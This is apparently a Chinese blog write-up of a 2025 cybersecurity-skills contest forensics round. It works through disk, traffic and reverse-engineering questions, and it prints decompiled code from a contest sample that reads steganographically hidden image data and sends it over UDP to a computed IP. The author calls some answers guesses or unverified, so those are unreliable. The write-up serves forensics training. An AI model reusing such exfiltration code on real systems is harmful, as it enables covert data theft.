2025年第二届全国网络安全行业职业技能大赛电子数据取证赛道复赛WP

【多媒体处理】基于C++与Qt的短视频智能裁剪系统:FFmpeg驱动的横竖屏转换与预览解决方案 项目介绍 基于C++、Qt与FFmpeg的短视频横竖屏智能裁剪与预览系统设计与实现(含模型描述及部分示例 内容概要:本文介绍了一个基于C++、Qt与FFmpeg的短视频横竖屏智能裁剪与预览系统的设计与实现。系统通过构建完整的视频处理闭环,实现了从视频读取、解码、内容分析、智能裁剪到实时预览和重新编码的全流程处理。核心架构分为五个层次:媒体输入与标准化层利用FFmpeg完成视频解复用与解码,并统一帧格式;视觉重要区域分析层通过显著性检测、边缘强度、颜色差异和运动信息识别画面中的主体区域;时序跟踪与轨迹稳定层采用卡尔曼滤波或指数平滑技术对主体位置进行连续优化,确保裁剪窗口在时间维度上的稳定性;比例约束与裁剪决策层根据目标宽高比和主体位置求解最优裁剪框,兼顾内容保留与画面合规;预览、导出与任务控制层基于Qt实现双画面同步预览、参数配置和导出控制,保障交互流畅性。项目还提供了模拟数据生成功能,可批量生成五万条包含分辨率、主体位置、运动速度、覆盖率等字段的结构化样本,支持算法验证与模型训练。; 适合人群:具备C++编程基础,熟悉Qt图形界面开发和FFmpeg多媒体处理技术的中高级研发人员,尤其适用于从事视频处理、智能编辑、自动化内容生产等相关领域的开发者或科研人员。; 使用场景及目标:①解决短视频在横竖屏转换过程中因固定裁剪导致的主体丢失问题,提升内容保留能力;②实现高效稳定的智能裁剪算法原型开发与性能测试;③构建可扩展的视频处理系统框架,支持后续集成人脸检测、人体识别或深度学习模型;④为算法优化提供标准化数据集,支持回归测试与质量评估。; 阅读建议:此资源不仅包含完整的技术架构设计和核心代码示例,还强调工程实践中对资源管理、线程安全、性能优化和异常处理的关注。建议读者结合代码实现深入理解各模块间的协作机制,并尝试替换分析器或调整平滑策略以验证不同算法效果。同时推荐运行数据生成模块,用于训练模型或开展量化对比实验。 立即下载
AI摘要

本文针对2025年第二届全国网络安全行业职业技能大赛电子数据取证赛道复赛题目,深入分析多个检材中的关键技术点,包括Windows日志分析、LSB隐写术、ZIP密码破解、数据恢复与加密算法逆向等核心内容,涵盖开关机时间提取、搜索记录追踪、隐蔽通信行为分析等多个实战场景。

1.(检材1)请写出最后一次开机时间;(答案格式:1990-01-0101:01:01)
这个检材某眼取证软件是没有办法直接分析开关机的,需要我们自己查看windows日志:

启动(开机):6005(事件日志服务已启动) 关机(正常):
6006(事件日志服务已停止) 意外关机/断电:
6008(上一次系统意外关闭)
重启:1074(用户或系统触发的重启/关机)

在这里插入图片描述

2021-03-10 13:58:31

2.(检材)嫌疑人近期上网的搜索记录去重统计后,有几条?
题目问的是“搜索记录”,并不是“历史记录”,所以这题我们要找的是嫌疑人主动使用搜索迎引擎直接搜索的记录并去重
在这里插入图片描述

5

3.(检材1)嫌疑人购买凶器时收货地址是?
检材1中有嫌疑人使用的夜神模拟器
在这里插入图片描述
挂载新检材之后,tim的聊天记录中有收货地址
在这里插入图片描述

上海市浦东新区金科路2889弄长泰广场麦当劳

4.(检材1)嫌疑人最后下载的文件MD5值是?(字母大写)
在嫌疑人的计算机镜像中,qq浏览器有三条下载记录,直接使用取证软件静态分析,只有第一条有记录,搜索另外两个文件之后,发现nox_setup_v7.0.0.9_full.exe的创建时间为2021-03-09 16:32:33,是三个中最晚下载的
在这里插入图片描述

0D6867F463F0EBCF3B442FA3F4EEAA5D

5.(检材1)贩卖凶器者的手机号码是?
见第三题

13023161699

6.(检材1)嫌疑人购买凶器时使用的支付宝账号是?
检材1中有个名为“lee-副本.docx”的word文档
在这里插入图片描述

13716396699

7.(检材2)嫌疑人上线“Iee0689”的备用电话号码是?
lee曾经发给刘深深一个压缩包,如果直接用windows自带的压缩软件打开,可以看到两个文件:一个是keyfile,一个是mm;如果使用bandizip打开里面则是一个名为“联系方式.doc”的word文档。使用binwalk分离一下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

13888658689

8.(检材2)“组织架构.zip”文件的MD5值是?(字母大写)
lee发给刘深深的压缩包有记录“组织架构.zip”相关的信息,
在这里插入图片描述
在010editor里面打开,找到相关位置。在“组织架构.zip”后,就是0x504B0304的zip文件头,一直到文件尾出现0x504b0506的中央目录结束头,所以分离出来内有keyfile和mm文件的就是组织架构.zip(直接使用binwalk可以分离出来zip压缩包,但是binwalk会直接重命名压缩包)
在这里插入图片描述

D573730E7FF8757F0678EF018377A642

9.(检材2)“组织架构.zip”压缩包的密码是?
在这里插入图片描述

468219

10.(检材2)“mm”文件的解密密码是?
lee说“第二个密码是753951,加文件”,结合zip中有一个keyfile,猜测是使用密钥的容器
在这里插入图片描述
使用vc挂载
在这里插入图片描述

753951

11.(检材2)“mm”文件的解密密钥文件的MD5值是?(字母大写)
keyfile的md5

93C7D6778012D8B8EBF3E22CDE41E68B

12.(检材2)VIP15用户“周胜考”的联系方式是?
挂载之后容器内部没有文件,需要数据恢复,使用某眼取证软件可以直接查看被删除的文件
在这里插入图片描述

13852587969

13.(检材3)嫌疑人登录的博客网站类型是?
在这里插入图片描述

wordpress

14.(检材3)嫌疑人成功登录博客网站账号的密码是?
POST包后返回状态为200,说明登陆成功
在这里插入图片描述

1@34qwer

15.(检材3)嫌疑人的用户名是?

David

16.(检材3)X系统的管理密码是?
这道题目现在没法验证。POST包后返回状态为200的流量包为wordpress后台管理页面,猜测成功登陆的密码就是后台管理密码

1@34qwer

17.(检材4)嫌疑人将隐藏信息存放在图片中,找出存放隐藏信息的图片名。(示例:文件1.xxx、文件2xxx、文件3.xxx,按文件名从小到大排列)
图片太多,考虑从exe文件中找文件读取的相关内容。
来到主函数return的函数,Code = sub_140001DDB(p_i_2)比较可以,跟进。
在这里插入图片描述

//sub_140001DDB
__int64 __fastcall sub_140001DDB(__int64 i)
{
  int v2; // edi
  int v3; // esi
  int v4; // ebx
  int v5; // eax
  sockaddr to; // [rsp+40h] [rbp-40h] BYREF
  char cp[32]; // [rsp+50h] [rbp-30h] BYREF
  WSAData lpWSAData_; // [rsp+70h] [rbp-10h] BYREF
  int len[2]; // [rsp+208h] [rbp+188h] BYREF
  char buf_[256]; // [rsp+210h] [rbp+190h] BYREF
  int v11; // [rsp+310h] [rbp+290h]
  char Destination[256]; // [rsp+320h] [rbp+2A0h] BYREF
  int v13; // [rsp+420h] [rbp+3A0h]
  char mmexport1720681497428.png_[38]; // [rsp+430h] [rbp+3B0h] BYREF
  char .__IMAGES___[10]; // [rsp+456h] [rbp+3D6h] BYREF
  char mmexport1720691471909.png_[26]; // [rsp+460h] [rbp+3E0h] BYREF
  char Source[10]; // [rsp+47Ah] [rbp+3FAh] BYREF
  int v18; // [rsp+484h] [rbp+404h]
  int hostshort; // [rsp+488h] [rbp+408h]
  unsigned int Seed; // [rsp+48Ch] [rbp+40Ch]
  __int64 n1523669066; // [rsp+490h] [rbp+410h]
  SOCKET s; // [rsp+498h] [rbp+418h]
  char *buf; // [rsp+4A0h] [rbp+420h]
  __int64 v24; // [rsp+4A8h] [rbp+428h]
  __int64 v25; // [rsp+4B0h] [rbp+430h]
  void *v26; // [rsp+4B8h] [rbp+438h]
  size_t Size; // [rsp+4C0h] [rbp+440h]
  size_t Size_1; // [rsp+4C8h] [rbp+448h]
  char *Str; // [rsp+4D0h] [rbp+450h]
  void *p_ihavesomethingforyou_2; // [rsp+4D8h] [rbp+458h]
  const char *p_ihavesomethingforyou; // [rsp+4E0h] [rbp+460h]
  char *v32; // [rsp+4E8h] [rbp+468h]
  void *p_ihavesomethingforyou_1; // [rsp+4F0h] [rbp+470h]
  size_t Size_2; // [rsp+4F8h] [rbp+478h]

  sub_14039F3C0(i);
  strcpy(Source, ".\\IMAGES\\");
  strcpy(mmexport1720691471909.png_, "mmexport1720691471909.png");
  strcpy(.__IMAGES___, ".\\IMAGES\\");
  strcpy(mmexport1720681497428.png_, "mmexport1720681497428.png");
  memset(Destination, 0, sizeof(Destination));
  v13 = 0;
  memset(buf_, 0, sizeof(buf_));
  v11 = 0;
  strcat(Destination, Source);
  strcat(Destination, mmexport1720691471909.png_);
  strcat(buf_, .__IMAGES___);
  strcat(buf_, mmexport1720681497428.png_);
  p_ihavesomethingforyou_1 = sub_1400014E5(Destination);
  v32 = (char *)sub_1400014E5(buf_);
  p_ihavesomethingforyou = "ihavesomethingforyou";
  p_ihavesomethingforyou_2 = sub_140001B07((__int64)"ihavesomethingforyou");
  Str = sub_140001C0E((__int64)p_ihavesomethingforyou_1, (__int64)p_ihavesomethingforyou_2);
  free(p_ihavesomethingforyou_2);
  Size_1 = strlen(Str);
  if ( v32 )
    Size_2 = strlen(v32);
  else
    Size_2 = 0;
  Size = Size_1 + Size_2 + 2;
  v26 = malloc(Size);
  if ( !v26 )
  {
    perror("malloc");
    exit(1);
  }
  memcpy(v26, Str, Size_1);
  *((_BYTE *)v26 + Size_1) = 58;
  if ( v32 )
    memcpy((char *)v26 + Size_1 + 1, v32, Size_2);
  *((_BYTE *)v26 + Size - 1) = 0;
  free(p_ihavesomethingforyou_1);
  free(v32);
  free(Str);
  sub_14004D980(12, 0);
  sub_14004D980(2, 0);
  v25 = sub_140001474();
  v24 = sub_140042060(v25, 0);
  if ( !v24 )
    sub_140001450();
  if ( (int)sub_140034700(v24) <= 0 )
    sub_140001450();
  *(_QWORD *)len = 0;
  if ( (int)sub_140034720(v24, 0, (unsigned int)len, (_DWORD)v26, Size) <= 0 )
    sub_140001450();
  buf = (char *)sub_14004E740(*(size_t *)len, "4.c", 293);
  if ( (int)sub_140034720(v24, (_DWORD)buf, (unsigned int)len, (_DWORD)v26, Size) <= 0 )
    sub_140001450();
  sub_1400414D0(v24);
  sub_14003BAE0(v25);
  if ( WSAStartup(0x202u, &lpWSAData_) )
    return 1;
  s = socket(2, 2, 17);
  if ( s == -1 )
  {
    WSACleanup();
    return 1;
  }
  else
  {
    n1523669066 = -2442560844742961078LL;
    Seed = _ROR4___w(-568703014, 1523669066);
    srand(Seed);
    v2 = rand() % 255 + 1;
    v3 = rand() % 255 + 1;
    v4 = rand() % 255 + 1;
    v5 = rand();
    sub_1403A3000((__int64)cp, 20, "%d.%d.%d.%d", v5 % 255 + 1, v4, v3, v2);
    hostshort = rand() % 64512 + 1024;
    memset(&to, 0, sizeof(to));
    to.sa_family = 2;
    *(_WORD *)to.sa_data = htons(hostshort);
    *(_DWORD *)&to.sa_data[2] = inet_addr(cp);
    v18 = sendto(s, buf, len[0], 0, &to, 16);
    closesocket(s);
    WSACleanup();
    sub_14004E7F0(buf, "4.c", 348);
    free(v26);
    return 0;
  }
}

这段代码的大概作用是:
1.读取两张图片文件:从.\IMAGES\目录下读取mmexport1720691471909.png和mmexport1720681497428.png这两张图片
2.组合成字符串:把两张图片的内容组合成一个字符串,用":"分
3.随机生成IP地址和端口:通过设置随机数seed生成ip地址和端口
4.通过网络发送数据:用sendto函数把组合好的字符串发送到随机生成的IP和端口

mmexport1720681497428.png、mmexport1720691471909.png

18.(检材4)找到存放在图片中的原始信息。(示例:数据1、数据2、数据3)
详细分析一下sub_140001DDB对图片的处理:
1.此处是读取图片并对图片的数据并赋值
在这里插入图片描述
2.赋值之后调用了一个函数对数值进行了一些处理
.在这里插入图片描述
跳转sub_1400014E5函数

void *__fastcall sub_1400014E5(const char *p_Destination)
{
  _JBTYPE *Buf; // rax
  size_t Size; // rax
  void **v4; // rbx
  int v5; // eax
  __int64 v6; // [rsp+20h] [rbp-90h] BYREF
  __int64 v7; // [rsp+28h] [rbp-88h] BYREF
  _BYTE Buffer[8]; // [rsp+37h] [rbp-79h] BYREF
  unsigned __int8 v9; // [rsp+3Fh] [rbp-71h]
  __int64 v10; // [rsp+40h] [rbp-70h]
  __int64 v11; // [rsp+48h] [rbp-68h]
  void *v12; // [rsp+50h] [rbp-60h]
  unsigned __int64 v13; // [rsp+58h] [rbp-58h]
  void *Block; // [rsp+60h] [rbp-50h]
  unsigned __int16 n16; // [rsp+6Eh] [rbp-42h]
  int v16; // [rsp+70h] [rbp-40h]
  int v17; // [rsp+74h] [rbp-3Ch]
  int m; // [rsp+78h] [rbp-38h]
  int n2; // [rsp+7Ch] [rbp-34h]
  int k; // [rsp+80h] [rbp-30h]
  int j; // [rsp+84h] [rbp-2Ch]
  char v22; // [rsp+8Bh] [rbp-25h]
  int v23; // [rsp+8Ch] [rbp-24h]
  int n8; // [rsp+90h] [rbp-20h]
  int i; // [rsp+94h] [rbp-1Ch]
  FILE *Stream; // [rsp+98h] [rbp-18h]

  Stream = fopen(p_Destination, "rb");
  if ( Stream )
  {
    fread(Buffer, 1u, 8u, Stream);
    if ( (unsigned int)sub_140003320(Buffer, 0, 8)
      || (v7 = sub_14000C2F0("1.6.50", 0, 0, 0),
          v6 = sub_140003720(v7),
          Buf = (_JBTYPE *)sub_1400078C0(v7, longjmp, 256),
          setjmp(Buf)) )
    {
      fclose(Stream);
      return 0;
    }
    else
    {
      sub_140003930(v7, Stream);
      sub_1400032E0(v7, 8);
      sub_14000C3D0(v7, v6);
      v17 = sub_140007D70(v7, v6);
      v16 = sub_140007D90(v7, v6);
      HIBYTE(n16) = sub_140007DD0(v7, v6);
      LOBYTE(n16) = sub_140007DB0(v7, v6);
      if ( (_BYTE)n16 == 16 )
        sub_14000FF40(v7);
      if ( HIBYTE(n16) == 3 )
        sub_140010FB0(v7);
      if ( n16 <= 7u )
        sub_140010FE0(v7);
      if ( (unsigned int)sub_140007D00(v7, v6, 16) )
        sub_140011010(v7);
      if ( HIBYTE(n16) == 2 || !HIBYTE(n16) || HIBYTE(n16) == 3 )
        sub_14001FAC0(v7, 255, 1);
      if ( !HIBYTE(n16) || HIBYTE(n16) == 4 )
        sub_140011070(v7);
      sub_14000C580(v7, v6);
      Block = malloc(8LL * v16);
      for ( i = 0; i < v16; ++i )
      {
        Size = sub_140007D30(v7, v6);
        v4 = (void **)((char *)Block + 8 * i);
        *v4 = malloc(Size);
      }
      sub_14000E590(v7, Block);
      fclose(Stream);
      v13 = 3 * v16 * v17;
      v12 = malloc((v13 >> 3) + 1);
      memset(v12, 0, (v13 >> 3) + 1);
      n8 = 0;
      v23 = 0;
      v22 = 0;
      for ( j = 0; j < v16; ++j )
      {
        v11 = *((_QWORD *)Block + j);
        for ( k = 0; k < v17; ++k )
        {
          v10 = 4 * k + v11;
          for ( n2 = 0; n2 <= 2; ++n2 )
          {
            v9 = *(_BYTE *)(n2 + v10) & 1;
            v22 |= v9 << (7 - n8++);
            if ( n8 == 8 )
            {
              if ( !v22 )
                goto LABEL_36;
              v5 = v23++;
              *((_BYTE *)v12 + v5) = v22;
              v22 = 0;
              n8 = 0;
            }
          }
        }
      }
LABEL_36:
      *((_BYTE *)v12 + v23) = 0;
      for ( m = 0; m < v16; ++m )
        free(*((void **)Block + m));
      free(Block);
      sub_14000E6C0(&v7, &v6, 0);
      return v12;
    }
  }
  else
  {
    perror("File open failed");
    return 0;
  }
}

该函数开始部分大概是读取文件内容、校验文件头,略过,以下是关键部分

for ( j = 0; j < v16; ++j )
{
  v11 = *((_QWORD *)Block + j);
  for ( k = 0; k < v17; ++k )
  {
    v10 = 4 * k + v11;
    for ( n2 = 0; n2 <= 2; ++n2 )
    {
      v9 = *(_BYTE *)(n2 + v10) & 1;
      v22 |= v9 << (7 - n8++);
      if ( n8 == 8 )
      {
        if ( !v22 )
          goto LABEL_36;
        v5 = v23++;
        *((_BYTE *)v12 + v5) = v22;
        v22 = 0;
        n8 = 0;
      }
    }
  }
}

首先,定义一个数据类型为qword的数组block,在每一个循环的开始取其指针加1赋值给v11

for ( j = 0; j < v16; ++j )
{
  v11 = *((_QWORD *)Block + j);

v11每一次循环加4个字节,所以v11是一个“基地址”,v10是“偏移地址”,每次偏移为4字节

for ( k = 0; k < v17; ++k )
{
  v10 = 4 * k + v11;

n2的值为0,1,2,访问v10的前三位,跳过最后一位,并& 1,即取每个字节的最低有效位(LSB)

for ( n2 = 0; n2 <= 2; ++n2 )
{
  v9 = *(_BYTE *)(n2 + v10) & 1;

所以这段代码的意思是对两张图片采用的lsb隐写,具体参考https://blog.youkuaiyun.com/qq_38154820/article/details/122694645
在Stegsolve.jar打开,RGB选择最低位
在这里插入图片描述在这里插入图片描述

31.2313,121.4700、1720465200

19.(检材4)分析检材中的“1.exe”,找到隐藏信息发送的1P及端口,并以此作为flag提交。(示例:127.0.0.1:1234)
ip地址是使用rand函数随机生成的,但是设置了种子

n1523669066 = -2442560844742961078LL;
    Seed = _ROR4___w(-568703014, 1523669066);
    srand(Seed);
    v2 = rand() % 255 + 1;
    v3 = rand() % 255 + 1;
    v4 = rand() % 255 + 1;
    v5 = rand();
    sub_1403A3000((__int64)cp, 20, "%d.%d.%d.%d", v5 % 255 + 1, v4, v3, v2);
    hostshort = rand() % 64512 + 1024;
    memset(&to, 0, sizeof(to));
    to.sa_family = 2;
    *(_WORD *)to.sa_data = htons(hostshort);
    *(_DWORD *)&to.sa_data[2] = inet_addr(cp);
    v18 = sendto(s, buf, len[0], 0, &to, 16);
    closesocket(s);
    WSACleanup();
    sub_14004E7F0(buf, "4.c", 348);
    free(v26);
    return 0;

种子随机生成的逻辑是:
1.将n1523669066和a1进行异或操作
2.将结果循环右移13位(ror4在x86汇编中是循环右移)
3.将结果转换为无符号整数并返回

__int64 __fastcall _ROR4___w(int a1, __int64 n1523669066)
{
  return (unsigned int)__ROR4__(n1523669066 ^ a1, 13);
}

编写python脚本

import ctypes
def ror4(val, r):
    val &= 0xFFFFFFFF
    return ((val >> r) | (val << (32 - r))) & 0xFFFFFFFF
class MSVCRand:
    def __init__(self, seed):
        self.seed = seed

    def rand(self):
        self.seed = (self.seed * 214013 + 2531011) & 0xFFFFFFFF
        return (self.seed >> 16) & 0x7FFF

n1523669066 = -2442560844742961078
a1 = 3726264282

n_low = n1523669066 & 0xFFFFFFFF
a1_low = a1 & 0xFFFFFFFF

xor_val = n_low ^ a1_low

seed = ror4(xor_val, 13)

print(f"Calculated Seed: {seed}")

libc_rand = MSVCRand(seed)
v2 = libc_rand.rand() % 255 + 1
v3 = libc_rand.rand() % 255 + 1
v4 = libc_rand.rand() % 255 + 1
v5 = libc_rand.rand()
ip = f"{v5 % 255 + 1}.{v4}.{v3}.{v2}"

hostshort = libc_rand.rand() % 64512 + 1024

print(f"IP地址: {ip}")
print(f"端口: {hostshort}")


IP地址: 94.114.6.233
端口: 12481

20.(检材4)检材中的“1.exe”发送的隐藏信息经过加密,请解密内容,并以该内容作为flag提交。
在图片处理结束后,该函数定义了一个字符串,并对字符串进行了一些处理
在这里插入图片描述
跳转sub_140001B07,主要加密的函数是sub_140001AB2,对字符串进行了djb2 哈希算法

__int64 __fastcall sub_140001AB2(_BYTE *p_ihavesomethingforyou)
{
  _BYTE *v1; // rax
  unsigned int n5381; // [rsp+Ch] [rbp-4h]

  for ( n5381 = 5381; ; n5381 = 33 * n5381 + (char)*v1 )
  {
    v1 = p_ihavesomethingforyou++;
    if ( !*v1 )
      break;
  }
  return n5381;
}

for循环逐位读取p_ihavesomethingforyou的值,初始化哈希值为 5381,在每一轮进行一次n5381 = 33 * n5381 + char的运算

for ( n5381 = 5381; ; n5381 = 33 * n5381 + (char)*v1 )
  {
    v1 = p_ihavesomethingforyou++;
    if ( !*v1 )
      break;
  }

sub_140001C0E进行了数据处理操作
在这里插入图片描述
跳转sub_140001C0E

char *__fastcall sub_140001C0E(_BYTE *p_ihavesomethingforyou, _BYTE *p_ihavesomethingforyou_1)
{
  char Source[11]; // [rsp+25h] [rbp-7Bh] BYREF
  _DWORD v4[11]; // [rsp+30h] [rbp-70h]
  char v5[11]; // [rsp+5Eh] [rbp-42h] BYREF
  char v6[11]; // [rsp+69h] [rbp-37h] BYREF
  int v7; // [rsp+74h] [rbp-2Ch]
  int v8; // [rsp+78h] [rbp-28h]
  int v9; // [rsp+7Ch] [rbp-24h]
  char *Destination; // [rsp+80h] [rbp-20h]
  void *Source_2; // [rsp+88h] [rbp-18h]
  void *Source_1; // [rsp+90h] [rbp-10h]
  int n9; // [rsp+9Ch] [rbp-4h]

  Source_1 = sub_140001B07(p_ihavesomethingforyou);
  Source_2 = sub_140001B07(p_ihavesomethingforyou_1);
  memset(v6, 0, sizeof(v6));
  memset(v5, 0, sizeof(v5));
  sub_140001B8A(v6, (const char *)Source_1, 10);
  sub_140001B8A(v5, (const char *)Source_2, 10);
  free(Source_1);
  free(Source_2);
  v4[0] = 1;
  v4[1] = 9;
  v4[2] = 3;
  v4[3] = 7;
  v4[4] = 0;
  v4[5] = 4;
  v4[6] = 9;
  v4[7] = 7;
  v4[8] = 7;
  v4[9] = 6;
  memset(Source, 0, sizeof(Source));
  for ( n9 = 0; n9 <= 9; ++n9 )
  {
    v9 = v6[n9] - 48;
    v8 = v5[n9] - 48;
    v7 = (v4[n9] + v8 + v9) % 10;
    Source[n9] = v7 + 48;
  }
  Source[10] = 0;
  Destination = (char *)malloc(0xBu);
  if ( Destination )
    strcpy(Destination, Source);
  return Destination;
}

将两个字符串填充为10字节,不足10字节的在前面补0

sub_140001B8A(v6, (const char *)Source_1, 10);
sub_140001B8A(v5, (const char *)Source_2, 10);

初始化密钥数组

v4[0] = 1;
v4[1] = 9;
v4[2] = 3;
v4[3] = 7;
v4[4] = 0;
v4[5] = 4;
v4[6] = 9;
v4[7] = 7;
v4[8] = 7;
v4[9] = 6;

将字符减去48住那换为对应的数字(0的ascii码为48),然后进行(密钥[i] + 数字1[i] + 数字2[i]) % 10的运算

for ( n9 = 0; n9 <= 9; ++n9 )
{
  v9 = v6[n9] - 48;           // 将字符转换为数字
  v8 = v5[n9] - 48;           // 将字符转换为数字
  v7 = (v4[n9] + v8 + v9) % 10;  // 加密运算
  Source[n9] = v7 + 48;       // 转换回字符
}

在动态调试的过程中,发现变量赋值为1760285221:31.2313,121.4700,这里的58就是给两边用分号连接起来,结合到后面有调用openssl的内容,那么这串应该就是明文,即上面的代码是对原来的时间戳进行处理转换为新的时间戳
在这里插入图片描述

1760285221:31.2313,121.4700

21.(检材4)分析检材中的“2.exe”,获取机密文件内容中的时间戳,并以此作为f1lag提交。
这题没做出来,实际20、21两道题目都没有真正分析出结果,20题的过程和分析思路也只是个人的一些猜测,先记录下来抛砖引玉,还望各位大佬斧正

政府科技管理者如何提升科技成果转化项目进场交易的备案效率?.docx 政府科技管理者如何提升科技成果转化项目进场交易的备案效率? 立即下载

相关推荐

科技中介服务机构如何通过智能体技术提升服务效率与专业度?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

第二届职业技能大赛电子取证分析师浙江复赛

1.(检材1)请写出最后一次开机时间(答案格式:1990-01-01 01:01:01)赛场上的火眼依托大的,赛后紧急补丁一把梭开机时间文件:eventid 12时间信息:UTC 0 时区事件日志搜索12位开机,倒序可以看到2.(检材1)嫌疑人近期上网的搜索记录去重统计后,有几条?5IE浏览器直接过滤http请求,数一下就可以了3.(检材1)嫌疑人最后下载的文件MD5值是?(字母大写)QQ浏览器下载记录可以看到4.(检材1)嫌疑人购买凶器时收货地址是?

weixin_45200861的博客 4328

产业园区如何高效对接企业技术需求并推动成果转化?观点作者:科易网-国家科技成果转化(厦门)示范基地.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

第二届网络安全行业职业技能大赛-电子数据取证分析师 28号初赛复盘

文章摘要: 本文是一篇数据取证比赛的复盘笔记,作者记录了分析两个检材的过程。检材1主要涉及华为手机上的微信交易记录,成功获取了手机品牌、绑定手机号、卖方微信ID等信息。检材2是一个Android应用分析,通过反编译确定了包名、采集的信息类型及保存的XML文件名。作者使用了VeraCrypt、AndroidKiller等工具,并借助AI辅助代码分析。部分题目因技术限制未能完成,文章展示了从基础信息提取到代码逆向的完整取证流程。

weixin_48169169的博客 3630

政府科技管理者在推动科技成果转化时,如何高效整合区域创新要素资源?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

法律服务业AI知识库与大模型训练平台规划方案.pptx

法律服务业AI知识库与大模型训练平台规划方案.pptx

2025年第二届全国网络安全行业职业技能大赛—电子数据取证分析师(样题)

2025年全国网络安全职业技能大赛电子数据取证分析师赛项样题公布。比赛要求选手完成电子数据提取与固定、数据恢复和深度分析三大任务,涵盖计算机、移动终端、物联网等多类设备取证。竞赛采用在线远程形式,选手需自行准备工具,通过提交Flag答题。样题包含三个实战任务:手机APP取证(30%)、压缩包数据恢复(30%)和网络攻击分析(40%),重点考察选手的规范操作能力和技术应用水平。比赛总分100分,涉及包名识别、交易记录恢复、攻击溯源等具体技能点。组委会提示选手注意系统访问稳定性,并禁止使用违规工具。

Aluxian_的博客 2257

政府科技管理者在推动科技成果转化时,如何精准识别区域内的技术供需匹配问题?.docx

科易网基于AI模型+行业大数据,在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,推出科技创新领域的AI+工具与数智化解决方案,推动科技创新与产业创新智能化发展。

第二届网络安全行业职业技能大赛初赛wp(全部)

直接搜索(ctrl+F)**@**就可以看到该流量。该条流量,我们可以通过导出对象选。4.交给ai,跑一下脚本解密。3.可以看到写入到了该文件。爆破即可(7位数字密码)++打开lvm文件就有了。文件,再通过在线网站(

2501_91408050的博客 9111

山区道路边坡落石隐患检测数据集VOC+YOLO格式241张1类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

高空作业栏杆检测数据集VOC+YOLO格式230张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

两相交错并联Boost电路仿真模型(Simulink仿真实现)

内容概要:本文围绕两相交错并联Boost电路的Simulink仿真模型展开,旨在通过仿真手段深入研究该电路在电力电子系统中的工作特性与性能优势。文章系统阐述了两相交错并联Boost电路的拓扑结构、工作原理及其在提升系统效率、减小输入电流纹波、均衡电流分配方面的显著优势。通过构建完整的Simulink仿真模型,对电路在不同负载与输入条件下的动态响应、稳态性能及控制策略进行了全面分析与验证。重点设计并实现了电压电流双闭环PI控制策略,详细论述了PI控制器的参数整定方法、占空比调节机制以及交错并联所带来的均流效果。仿真结果表明,所构建的模型能够有效提升系统的动态响应速度与稳定性,显著降低输入电流的谐波含量与纹波幅值,验证了交错并联技术在中高功率DC-DC变换应用中的优越性。; 适合人群:具备电力电子技术基础、熟悉Simulink仿真的电气工程及相关专业本科生、研究生,以及从事电源系统设计、新能源变换器研发的工程技术人员。; 使用场景及目标:①学习和掌握交错并联Boost电路的拓扑结构、工作原理与建模方法;②开展电力电子变换器的仿真分析、控制器设计与参数优化;③为实际工程项目中的高性能DC-DC变换器设计,特别是追求低输入纹波和高功率密度的应用场景,提供理论支撑与仿真验证依据。; 阅读建议:建议读者结合Simulink模型文件同步操作,深入理解主电路各模块、双闭环控制结构及PWM调制环节的参数设置与逻辑实现,重点关注PI控制器的参数整定过程与交错控制的时序配合,并可通过调整输入电压、负载大小及控制参数进行对比实验,以深化对交错并联技术优势及其控制策略的理解。

ti-cgt-c2000-22.6.0.LTS-windows-x64-installer

ti-cgt-c2000-22.6.0.LTS-windows-x64-installer

秋葵成熟度检测数据集VOC+YOLO格式508张3类别.md

